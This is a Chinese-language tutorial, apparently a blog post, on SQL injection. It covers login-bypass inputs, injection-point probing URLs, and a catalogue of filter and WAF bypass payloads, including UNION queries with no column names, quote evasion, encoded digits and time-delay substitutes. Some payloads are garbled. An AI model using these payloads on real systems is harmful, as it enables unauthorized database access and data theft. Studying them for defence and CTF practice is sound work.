SQL产生原理

​ 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉

​ 通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

​ 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

SQL注入方法理解

1.数字注入

在浏览器地址栏输入:learn.me/sql/article.php?id=1,这是一个get型接口,发送这个请求相当于调用一个查询语句:

$sql = "SELECT * FROM article WHERE id =",$id

正常情况下,应该返回一个id=1的文章信息。那么,如果在浏览器地址栏输入:learn.me/sql/article.php?id=-1 OR 1 =1,这就是一个SQL注入攻击了,可能会返回所有文章的相关信息。为什么会这样呢?

这是因为,id = -1永远是false,1=1永远是true,所有整个where语句永远是ture,所以where条件相当于没有加where条件,那么查询的结果相当于整张表的内容。(危)

2.字符串注入

有这样一个用户登录场景:登录界面包括用户名和密码输入框,以及提交按钮。输入用户名和密码,提交。

这是一个post请求,登录时调用接口learn.me/sql/login.html,首先连接数据库,然后后台对post请求参数中携带的用户名、密码进行参数校验,即sql的查询过程。假设正确的用户名和密码为user和pwd123,输入正确的用户名和密码、提交,相当于调用了以下的SQL语句:

SELECT * FROM user WHERE username = 'user' ADN password = 'pwd123'

​ 由于用户名和密码都是字符串,SQL注入方法即把参数携带的数据变成mysql中注释的字符串。mysql中有2种注释的方法:

(1)’#’:’#’后所有的字符串都会被当成注释来处理

用户名输入:user’#(单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮。等价于SQL语句:

SELECT * FROM user WHERE username = 'user'#'ADN password = '111'

‘#’后面都被注释掉了,相当于:

SELECT * FROM user WHERE username = 'user' 

(2)’– ‘ (–后面有个空格):’– ‘后面的字符串都会被当成注释来处理

用户名输入:user’– (注意–后面有个空格,单引号闭合user左边的单引号),密码随意输入,如:111,然后点击提交按钮。等价于SQL语句:

SELECT * FROM user WHERE username = 'user'-- 'AND password = '111'

SELECT * FROM user WHERE username = ‘user’– ‘AND password = ‘1111’

‘– ‘后面都被注释掉了,相当于:

SELECT * FROM user WHERE username = 'user'

因此,以上两种情况可能输入一个错误的密码或者不输入密码就可登录用户名为’user’的账号,这是十分危险的事情。

SQL注入点判断

分类

1、常见的sql注入按照参数类型可分为两种:数字型和字符型。

当发生注入点的参数为整数时,比如 ID,num,page等,这种形式的就属于数字型注入漏洞。同样,当注入点是字符串时,则称为字符型注入,字符型注入需要引号来闭合。

2、也可以根据数据库返回的结果,分为回显注入、报错注入、盲注。

回显注入:可以直接在存在注入点的当前页面中获取返回结果。

报错注入:程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。

盲注:程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为based boolean和based time两种类型。

3、按照注入位置及方式不同分为:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入,无论此种分类如何多,都可以归纳为以上两种形式。

判断

GET注入

1、数字型

猜测SQL语句:

select 字段名 from 表名 where id = 1;

http://www.sql.com/xxx.php?id=1              假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘             语句报错
http://www.sql.com/xxx.php?id=1 and 1=1      页面正常返回结果
http://www.sql.com/xxx.php?id=1 and 1=2      页面返回错误
1234

如果以上几个测试步骤结果全部满足,就可能存在sql注入漏洞。

数字型注入一般出现在asp,php等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=1,PHP会自动把ID的数据类型推导为int类型,若是 id=1 and 1=1,则把ID推导为string类型。但是对于Java、c#这类强类型语言,如果把一个字符串转换为int类型,则会抛出异常,无法运行,所以数字型注入一般出现在弱类型的语言当中,强类型语言很少存在。

2、字符型

猜测SQL语句:

select 字段名 from 表名 where id =‘;

http://www.sql.com/xxx.php?id=1                      假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘                     语句报错
http://www.sql.com/xxx.php?id=1' and 1=1 and '1'='1  页面正常返回结果
http://www.sql.com/xxx.php?id=1' and 1=2 and '1'='1  页面返回错误
1234

3、搜索型

猜测SQL语句:

select 字段 from 表名 where username like ‘%k%’;

http://www.sql.com/xxx.php?search=test                  假设search为存在注入的参数
http://www.sql.com/xxx.php?search=test'                 语句报错
http://www.sql.com/xxx.php?search=test%' and 1=1 and '%'='   页面正常返回结果
http://www.sql.com/xxx.php?search=test%' and 1=2 and '%'='   页面返回错误

常见SQL注入过滤的绕过

1-1.and/or的过滤/拦截

双写
使用运算符(||、&&)
直接使用拼接=号
使用异或注入

1-2.空格被过滤/拦截

多层括号嵌套
改用+号
使用注释/**/
and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略
%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格(因为Windows的解析机制无法使用特殊字符代替空格,需要Linux的服务器环境才行)

1-3.括号被过滤/拦截

order by 大小比较盲注(见下面的讲解)

1-4.逗号被过滤/拦截

改用盲注

使用join语句代替,如union select 1,2,3 可改为 union select

join(select 1) join(select 2) join(select 3)

substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4

1-5.information_schema被过滤/拦截

利用innodb存储引擎(需要Mysql版本在5.5.x后并且Mysql开启了innoDB引擎),例如下:

select table_name from mysql.innodb_table_stats where database_name=database();
select table_name from mysql.innodb_index_stats where database_name=database();

接下来的四个只能用于查表名,无法查询列名,所以进一步获取数据还需无列名注入
sys.schema_auto_increment_columns
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io

那么接下来就补充一下无列名注入吧

利用join进行无列名注入(使用别名)

join … using(xx)

当知道表名为users时,使用如下语句得到列名
第一列:?id=-1’union all selectfrom (select from users as a join users b)c#

第二列:?id=-1’ union all selectfrom (select from users as a join users b using(id))c–+

第三列:?id=-1’ union all selectfrom (select from users as a join users b using(id,username))c–+

后面的列名可以此类推

1-6.单双引号被被过滤/拦截/转义

  • 可根据sql语句,使用转移符号逃逸出一个单/双引号,例题可参考[BJDCTF 2nd]简单注入

  • 需要逃逸单引号的情况:尝试是否存在编码问题而产生的SQL注入。
    不需要逃逸单引号的情况:字符串可用十六进制(hex函数)表示、也可通过进制转换函数表示成其他进制或者使用其他编码,如char()
    SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

  • 还可以使用%2527
    主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是’,所以成功绕过过滤。

1-7.数字和单个字母被过滤/拦截

false或!pi():0
true或!!pi():1
true+true:2
floor(pi()):3
ceil(pi()):4
floor(version()):5
ceil(version()):6
ceil(pi()+pi()):7
floor(version()+pi()):8
floor(pi()*pi()):9
ceil(pi()*pi()):10
ceil(pi()*pi())+true:11
ceil(pi()+pi()+version()):12
floor(pi()*pi()+pi()):13
ceil(pi()*pi()+pi()):14
ceil(pi()*pi()+version()):15
floor(pi()*version()):16
ceil(pi()*version()):17
ceil(pi()*version())+true:18
floor((pi()+pi())*pi()):19
ceil((pi()+pi())*pi()):20
ceil(ceil(pi())*version()):21
ceil(pi()*ceil(pi()+pi())):22
ceil((pi()+ceil(pi()))*pi()):23
ceil(pi())*ceil(version()):24
floor(pi()*(version()+pi())):25
floor(version()*version()):26
ceil(version()*version()):27
ceil(pi()*pi()*pi()-pi()):28
floor(pi()*pi()*floor(pi())):29

使用conv([0-9],10,36)可以表示0~9的数字,conv([10~35],10,36)可以表示a~z单个字母,conv([35+],10,36)可自行按照三十六进制转换

1-8.其他系统关键字被过滤/拦截

双写绕过关键字过滤
使用同义函数/语句代替,如if函数可用如下语句代替。

case when condition then 1 else 0 end

1-9.等号被过滤

使用in或like关键字绕过

1-10.过滤sleep()

  • BENCHMARK(count,expr)
    BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。
  • 笛卡尔积
    select if(1=1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0);
  • GET_LOCK
    在一个session中可以先锁定一个变量例如:select get_lock(‘smi1e’,1)
    然后通过另一个session 再次执行get_lock函数 select get_lock(‘smi1e’,5),此时会产生5 秒的延迟,其效果类似于sleep(5)。
    但是利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
  • RLIKE/REGEXP
    通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
    select rpad(‘a’,4999999,’a’) RLIKE concat(repeat(‘(a.*)+’,30),’b’)

菜菜子新人